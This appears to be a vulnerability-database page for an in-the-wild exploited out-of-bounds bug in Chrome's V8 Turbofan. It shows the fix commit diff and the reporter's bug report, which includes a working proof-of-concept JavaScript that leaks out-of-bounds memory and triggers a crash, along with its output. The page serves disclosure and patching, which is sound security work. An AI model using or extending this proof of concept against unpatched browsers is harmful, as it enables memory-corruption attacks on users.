High chrome OOB ⚠️ Exploited in the wild 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
CVSS
Yes
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read and write in V8
DescriptionOut of bounds read and write in V8
ComponentV8
Bug ClassOOB
Tracker420636529
Fix commit7bc0a67ebfbf (v8/v8) +13/-7
CISA KEVNot listed
CreditedClement Lecigne and Benoît Sevens of Google Threat Analysis Group
Disclosed2025-06-02

Changed Functions

FunctionChangeNotes
if
src/compiler/turboshaft/store-store-elimination-reducer-inl.h
modified

Files Changed

  • src/compiler/turboshaft/store-store-elimination-reducer-inl.h
From 7bc0a67ebfbf44e7adab47fc2bbbe308660e27f4 Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Tue, 27 May 2025 20:33:19 +0200
Subject: [PATCH] [turbofan] Weaken alias analysis in store-store elimination

Bug: 420636529
Change-Id: I7c5a8f47960708cecbb27d811eedc7f754933deb
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6594051
Reviewed-by: Shu-yu Guo <syg@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#100530}
---

diff --git a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
index 45654a0..e058a41 100644
--- a/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
+++ b/src/compiler/turboshaft/store-store-elimination-reducer-inl.h
@@ -325,10 +325,11 @@
           // TODO(nicohartmann@): Use the new effect flags to distinguish heap
           // access once available.
           const bool is_on_heap_store = store.kind.tagged_base;
-          const bool is_field_store = !store.index().valid();
+          const bool is_fixed_offset_store = !store.index().valid();
           const uint8_t size = store.stored_rep.SizeInBytes();
-          // For now we consider only stores of fields of objects on the heap.
-          if (is_on_heap_store && is_field_store) {
+          // For now we consider only stores of fixed offsets of objects on the
+          // heap.
+          if (is_on_heap_store && is_fixed_offset_store) {
             bool is_eliminable_store = false;
             switch (table_.GetObservability(store.base(), store.offset, size)) {
               case StoreObservability::kUnobservable:
@@ -415,11 +416,16 @@
           // TODO(nicohartmann@): Use the new effect flags to distinguish heap
           // access once available.
           const bool is_on_heap_load = load.kind.tagged_base;
-          const bool is_field_load = !load.index().valid();
+          const bool is_fixed_offset_load = !load.index().valid();
           // For now we consider only loads of fields of objects on the heap.
-          if (is_on_heap_load && is_field_load) {
-            table_.MarkPotentiallyAliasingStoresAsObservable(load.base(),
-                                                             load.offset);
+          if (is_on_heap_load) {
+            if (is_fixed_offset_load) {
+              table_.MarkPotentiallyAliasingStoresAsObservable(load.base(),
+                                                               load.offset);
+            } else {
+              // A dynamically indexed load might alias any fixed offset.
+              table_.MarkAllStoresAsObservable();
+            }
           }
           break;
         }
Loading diff…

Original Bug Report

reported by bs...@google.com

[0-day] Arbitrary read/write within the V8 sandbox via Turbofan

Vulnerability details

NOTE: Google Threat Analysis Group has evidence that the following bug is being used in the wild. Therefore, this bug is subject to Google’s 7 day disclosure deadline.

An arbitrary read/write within the V8 sandbox is possible via a bug in Turbofan.

Version

V8 at commit 610337a26087a854db49f7ab2346d64881ef6150 (May 23 2025)

Reproduction case

The following poc.js will leak data out of bounds and trigger a crash:

let ab = new ArrayBuffer(256);
let dv = new DataView(ab);  

function ftoi(t) {
  dv.setFloat64(0, t, true);
  return dv.getUint32(0, true) + dv.getUint32(4, true) * 0x100000000;
}

console.log('Leak memory');
function foo(i) {
  let a = [1.1, 1.1, 1.1];
  a[0] = a[i];
  return a[0];
}

let x;
while (true) {
  x = foo('0');
  if (x != 1.1) break;
}
console.log("x =", x, "=", "0x"+ftoi(x).toString(16));

console.log('Trigger crash');
function bar(i) {
  let a = [1.1, {}, 1.1];
  a[0] = a[i];
}

while (true) {
  bar('0');
}

Run with:

$ ./out/x64.release/d8 --verify-heap poc.js 
Leak memory
x = -8.864952837205469e-7 = 0xbeadbeefbeadc000
Trigger crash
Received signal 11 SEGV_ACCERR 0f72beac0000

==== C stack trace ===============================

/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v84base5debug10StackTraceC1Ev+0x13) [0x565528bcb0f3]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x2aae042) [0x565528bcb042]
/lib/x86_64-linux-gnu/libc.so.6(+0x3fdf0) [0x7f8ced20bdf0]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal12ReadOnlyHeap8ContainsENS0_6TaggedINS0_10HeapObjectEEE+0xe) [0x56552788fe4e]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal10FixedArray16FixedArrayVerifyEPNS0_7IsolateE+0x64) [0x5655276d43b4]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal6Object12ObjectVerifyENS0_6TaggedIS1_EEPNS0_7IsolateE+0x46) [0x5655276d25b6]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal16HeapVerification12VerifyObjectENS0_6TaggedINS0_10HeapObjectEEE+0x61) [0x5655277da5e1]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZNK2v88internal17SemiSpaceNewSpace13VerifyObjectsEPNS0_7IsolateEPNS0_24SpaceVerificationVisitorE+0xbf) [0x56552787be2f]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZNK2v88internal17SemiSpaceNewSpace6VerifyEPNS0_7IsolateEPNS0_24SpaceVerificationVisitorE+0xf) [0x56552787bd0f]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal16HeapVerification6VerifyEv+0x1f0) [0x5655277da080]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal12HeapVerifier10VerifyHeapEPNS0_4HeapE+0x13e) [0x5655277e134e]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(_ZN2v88internal4Heap24PerformGarbageCollectionENS0_16GarbageCollectorENS0_23GarbageCollectionReasonEPKc+0x332) [0x5655277f98f2]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x16f4677) [0x565527811677]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x16f41cf) [0x5655278111cf]
/usr/local/google/home/bsevens/repo/v8/v8/out/x64.release/d8(+0x1ffe92b) [0x56552811b92b]
[end of stack trace]
Segmentation fault (core dumped)

Credit information

Reporter credit: Clement Lecigne and Benoît Sevens of Google Threat Analysis Group

View on issue tracker